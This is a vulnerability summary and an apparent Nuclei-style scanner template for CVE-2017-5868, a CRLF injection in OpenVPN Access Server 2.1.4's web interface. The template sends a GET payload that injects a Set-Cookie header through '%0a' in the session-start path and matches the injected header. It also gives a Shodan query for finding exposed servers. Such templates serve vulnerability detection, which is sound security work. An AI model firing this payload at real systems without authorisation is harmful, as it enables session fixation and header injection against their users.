CRLF injection vulnerability in the web interface in OpenVPN Access Server 2.1.4 allows remote attackers to inject arbitrary HTTP headers and consequently conduct session fixation attacks and possibly HTTP response splitting attacks via "%0A" characters in the PATH_INFO to __session_start__/.
PoC
id: CVE-2017-5868
info:
name: OpenVPN Access Server 2.1.4 - CRLF Injection
author: ritikchaddha
severity: medium
description: |
CRLF injection vulnerability in the web interface in OpenVPN Access Server 2.1.4 allows remote attackers to inject arbitrary HTTP headers and consequently conduct session fixation attacks and possibly HTTP response splitting attacks via "%0A" characters in the PATH_INFO to __session_start__/.
impact: |
Attackers can inject arbitrary HTTP headers to conduct session fixation attacks, potentially hijacking user sessions or performing HTTP response splitting attacks.
remediation: |
Update to the latest version of OpenVPN Access Server or apply vendor-provided security patches.
reference:
- https://www.openwall.com/lists/oss-security/2017/05/23/13
- http://www.securitytracker.com/id/1038547
- https://nvd.nist.gov/vuln/detail/CVE-2017-5868
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2017-5868
cwe-id: CWE-93
epss-score: 0.04622
epss-percentile: 0.9122
cpe: cpe:2.3:a:openvpn:openvpn_access_server:2.1.4:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: openvpn
product: openvpn_access_server
shodan-query: cpe:"cpe:2.3:a:openvpn:openvpn_access_server"
tags: cve,cve2017,openvpn,crlf,vuln
http:
- method: GET
path:
- "{{BaseURL}}/__session_start__/%0aSet-Cookie:%20crlfinjection=1;"
matchers-condition: and
matchers:
- type: regex
part: header
regex:
- "^Set-Cookie: crlfinjection=1;"
- type: status
status:
- 302
# digest: 4a0a0047304502204589e7da330339985f463c42fc03cbd51d80362e12776c390ea60ee5e585529a022100bccf2ad1412a0448e3ecf05dc2d30733c5313fb9854853af23029d4d06e51ccf:922c64590222798bb761d5b6d8e72950
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